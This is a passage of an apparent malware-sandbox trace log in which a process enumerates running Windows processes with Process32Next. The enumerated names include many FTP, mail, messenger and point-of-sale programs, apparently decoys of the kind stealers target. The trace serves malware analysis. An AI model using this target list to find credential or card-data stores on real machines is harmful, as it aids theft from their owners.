lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.650] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.651] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0299.653] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0299.655] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0299.656] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.658] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0299.660] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0299.661] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0299.663] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0299.665] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.666] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0299.668] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0299.670] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0299.671] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0299.673] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0299.674] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0299.676] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0299.678] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0299.679] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0299.681] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0299.682] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0299.684] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0299.685] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0299.687] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0299.688] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0299.690] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0299.740] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0299.742] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0299.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0299.745] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0299.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0299.748] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0299.750] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0299.751] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0299.753] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0299.755] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0299.757] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0299.758] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0299.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0299.761] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0299.763] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0299.765] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0299.767] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0299.778] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0299.818] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0299.820] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0299.822] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0299.824] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0299.826] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0299.828] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0299.830] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0299.832] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0299.834] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0299.836] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0299.838] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0299.839] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0299.841] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0299.843] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0299.845] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0299.847] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0299.849] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0299.850] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0299.897] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0299.899] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0299.901] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0299.902] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0299.904] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0299.906] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0299.908] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0299.909] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0299.911] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0299.913] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0299.915] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0299.917] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0299.918] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0299.920] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0299.922] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0299.923] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0299.925] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0299.927] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0299.975] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0299.977] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0299.978] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0299.980] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, 